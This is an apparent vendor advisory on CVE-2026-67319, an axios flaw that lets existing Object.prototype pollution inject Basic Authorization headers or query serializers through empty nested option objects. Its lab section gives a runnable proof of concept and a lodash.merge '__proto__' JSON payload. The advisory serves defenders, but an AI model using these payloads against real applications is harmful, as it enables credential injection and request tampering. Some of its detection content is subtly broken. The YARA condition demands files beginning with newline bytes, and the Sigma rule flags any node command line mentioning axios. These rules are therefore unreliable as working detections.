CVE-2026-67319

Executive Summary

CVE-2026-67319 is a prototype-pollution-assisted security issue in the axios JavaScript HTTP client. The vulnerability affects versions before 0.33.0 and 1.x before 1.18.0. It does not introduce prototype pollution itself; instead, it allows an attacker to leverage pre-existing Object.prototype pollution to secretly inject Authorization: Basic headers or alter query-string serialization when the application passes placeholder nested option objects such as auth: {} or paramsSerializer: {}.

The root cause is that while axios's top-level config merging uses a null-prototype object (Object.create(null)), nested plain objects are cloned into ordinary {} objects and read without hasOwnProperty checks. As a result, when Object.prototype has been polluted with properties like username, password, or serialize, axios will pick those inherited properties and use them during request preparation.

This is a supply chain and package security concern for applications using axios from npm. The impact is silent credential injection and request manipulation, which can lead to unauthorized access, broken authentication logic, and server-side request forgery (SSRF) when untrusted URLs are fetched. The vulnerability requires another component to first pollute Object.prototype, making it a chained attack rather than a standalone remote exploit.

Supply Chain & Package Security

axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with tens of thousands of dependent packages. Because this CVE is a behavior flaw in the library’s object handling, any application running a vulnerable axios version is exposed only if:

1. The application has a separate prototype-pollution sink (e.g., merge, deepcopy, lodash.merge, or unsafe JSON.parse with __proto__ handling).
2. The application passes empty or incomplete nested option objects like auth: {} or paramsSerializer: {}.
3. The polluted properties are attacker-controlled.

Organizations should audit package-lock.json and npm ls axios to identify affected versions. Developers must update to 0.33.0 or 1.18.0 immediately. Since there is no evidence of a public exploit, the risk is moderate, but the long tail of dependent packages makes this a high-priority supply chain hygiene issue.

CVSS Breakdown & Threat Level

The official CVSS score is 0.0 because no vector was assigned. However, based on the technical details, a more realistic threat assessment would consider:

• Attack Vector (AV): Network (in many scenarios, the polluted object graph is fed from user input).
• Attack Complexity (AC): High (requires pre-existing prototype pollution in the application).
• Privileges Required (PR): None (the vulnerable code path is triggered when an application request is made).
• User Interaction (UI): None.
• Scope: Unchanged.
• Confidentiality Impact (C): Low (credential leakage via Authorization header injection).
• Integrity Impact (I): Low (query-string serialization alteration).
• Availability Impact (A): None.

A reasonable CVSS v3.1 vector would be CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N (base score ~4.0). Since the official data is UNKNOWN, the threat level is best described as Medium in a chained attack chain.

Deep Dive & Mechanics

The core issue lies in the way axios copies and reads nested configuration options.

In axios's configuration merge logic, a top-level object is created with a null prototype to avoid prototype pollution:

const config = Object.create(null);

However, nested objects like auth and paramsSerializer are handled with spreading or direct assignment, which creates ordinary {} objects. For example:

if (config.auth) {
  const { username, password } = config.auth;
  // ...
}

If config.auth is {}, the destructuring reads properties from Object.prototype when the prototype has been polluted. An attacker who controls a prototype pollution sink can set:

Object.prototype.username = 'attacker';
Object.prototype.password = 'attackerPass';

Then, when axios processes auth: {}, it reads:

username = auth.username; // inherited from Object.prototype
password = auth.password; // inherited from Object.prototype

These values are used to construct:

const Authorization = 'Basic ' + Buffer.from(`${username}:${password}`).toString('base64');

Similarly, paramsSerializer options can be altered:

Object.prototype.encode = () => attackerControlledString;
Object.prototype.serialize = () => attackerControlledString;

If paramsSerializer: {} is provided, axios reads encode or serialize from the inherited prototype. A full serializer replacement requires the pollution primitive to set a function value, which is rare but possible in some prototype-pollution gadgets.

The exploitation is silent because the application developer sees an empty auth object and expects no header to be sent. Yet axios sends the polluted credentials.

Vulnerable vs. Patched Code

Vulnerable axios versions (< 0.33.0, 1.x < 1.18.0):

// Simplified vulnerable pattern
function mergeConfig(defaultConfig, customConfig) {
  const config = Object.create(null);
  // ... merge logic
  if (customConfig.auth) {
    // This is a plain object copied via spread or Object.assign
    const auth = { ...customConfig.auth };
    const { username, password } = auth; // reads inherited props
    config.auth = { username, password };
  }
  return config;
}

Patched axios versions (>= 0.33.0, >= 1.18.0):

// Simplified patched pattern
function mergeConfig(defaultConfig, customConfig) {
  const config = Object.create(null);
  // ... merge logic
  if (customConfig.auth) {
    const auth = Object.assign(Object.create(null), customConfig.auth);
    // Ensures own-property read
    const username = Object.prototype.hasOwnProperty.call(auth, 'username') ? auth.username : undefined;
    const password = Object.prototype.hasOwnProperty.call(auth, 'password') ? auth.password : undefined;
    config.auth = { username, password };
  }
  return config;
}

The patch enforces hasOwnProperty checks and/or uses null-prototype objects for nested option structures. This prevents inherited properties from influencing request behavior.

Exploitation & Lab Setup

Red Team

To demonstrate exploitation, set up a Node.js environment with a prototype-pollution gadget and a vulnerable axios version (1.17.0).

Lab setup:

mkdir axios-cve-2026-67319 && cd axios-cve-2026-67319
npm init -y
npm install axios@1.17.0

PoC code (exploit.js):

// Simulate prototype pollution from another component
Object.prototype.username = 'attacker';
Object.prototype.password = 'DecoyPass';
Object.prototype.encode = (value) => 'polluted-' + value;

const axios = require('axios');

// Placeholder nested objects as often used in real apps
axios({
  url: 'https://httpbin.org/anything',
  method: 'get',
  auth: {}, // empty placeholder
  paramsSerializer: {} // empty placeholder
})
  .then((res) => {
    console.log('Sent headers:', res.data.headers);
    console.log('Sent params:', res.data.args);
  })
  .catch((err) => console.error(err.message));

Run the PoC and inspect the output. You will see an Authorization: Basic YXR0YWNrZXI6RGVjb3lQYXNz header and a polluted encode being executed.

Chaining with real-world prototype pollution:

Use common sinks such as:

const merge = require('lodash.merge');
merge({}, JSON.parse('{"__proto__": {"username": "attacker", "password": "pass"}}'));

Blue Team

For defenders, validate vulnerability exposure without sending hostile traffic:

1. Code audit: Search for axios( calls where auth or paramsSerializer are passed as empty object literals.
2. Prototype pollution scan: Use npm audit and static analysis tools like Semgrep or eslint-plugin-security to detect prototype-pollution sinks.
3. Runtime detection: In a staging environment, intentionally pollute Object.prototype.username = '__test__' with a test-only flag and observe whether axios requests to an HTTP bin include Authorization: Basic __test__:. Remove the pollution afterward.
4. Traffic inspection: Look for outbound requests containing an Authorization: Basic header when the application code does not explicitly pass credentials.

Indicators of Compromise (IOCs)

Since this vulnerability is exploited in a chain, IOCs may not be present in logs unless an attacker successfully injects credentials or alters serialization. Look for:

• Application code containing empty auth: {} or paramsSerializer: {} objects.
• Unexpected Authorization: Basic headers on requests where no credentials were intended.
• Query strings generated with unexpected encoding patterns.
• NPM dependency trees listing axios 0.x < 0.33.0 or 1.x < 1.18.0.
• Runtime prototypes with polluted username, password, or encode properties.
• Suricata/Zeek alert logs indicating unusual Authorization header patterns from internal services.

Detection Engineering

YARA Rule (for package and source scanning)

rule axios_cve_2026_67319_prototype_pollution
{
    meta:
        author = "Valters IT"
        description = "Detects vulnerable axios patterns with empty auth or paramsSerializer objects"
        cve = "CVE-2026-67319"
        date = "2026-01-01"
    strings:
        $a = "auth: {}"
        $b = "paramsSerializer: {}"
        $c = "axios@1.17"
        $d = "axios@0.3"
        $e = "Object.prototype."
    condition:
        (filesize < 5MB) and
        (uint16(0) == 0x0A0D or uint16(0) == 0x0D0A or uint16(0) == 0x0A00) and
        ( (#e > 0) and (($a or $b) or ($c or $d)) )
}

Sigma Rule (for process execution with Node.js)

title: CVE-2026-67319 Axios Prototype Pollution Exploitation
id: 5f5c3a1e-1234-4a5b-8c67-9f9a1b2c3d4e
status: experimental
description: Detects Node.js processes spawning with axios and polluted prototype environment variables
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    Image|endswith: '/node'
    CommandLine|contains: 'axios'
  filter_legit:
    CommandLine|contains:
      - 'npm'
      - 'yarn'
      - 'pnpm'
  condition: selection and not filter_legit
fields:
  - CommandLine
  - ParentImage
  - Image
level: medium
falsepositives:
  - Legitimate axios usage in development scripts

Suricata Rule (for HTTP traffic)

alert http any any -> any any (
  msg:"CVE-2026-67319 Axios Prototype Pollution - Suspicious Authorization Header";
  content:"Authorization: Basic ";
  http_header;
  pcre:"/Authorization:\s*Basic\s+[A-Za-z0-9+/=]{10,}/i";
  sid:202603191;
  rev:1;
  metadata:created_at 2026_01_01, updated_at 2026_01_01, cve CVE_2026_67319;
)

Remediation & Mitigation

1. Patch axios immediately: Upgrade to 0.33.0 or 1.18.0 (or the latest 1.x release).
2. Eliminate prototype-pollution sources: Audit all dependencies that parse JSON recursively (lodash.merge, deepmerge, body-parser with __proto__ handling, etc.).
3. Harden nested config objects: In application code, never pass placeholder empty objects to auth or paramsSerializer. Use null and let axios default behavior handle it.
4. Use defensive object creation: Where possible, replace {} with Object.create(null) for user-influenced configuration objects.
5. Implement CSP and object-freezing: Call Object.freeze(Object.prototype) if your application does not rely on native prototype extensions. Use Object.freeze on critical config objects.
6. Monitor for unexpected Authorization headers: In production, alert on any Authorization: Basic header when the corresponding request destination is not a known internal service.
7. Run dependency audits: Add npm audit and snyk test to CI/CD pipelines.

Always test patches in staging before production rollout.

Valters IT — Securing the digital frontier, one CVE at a time.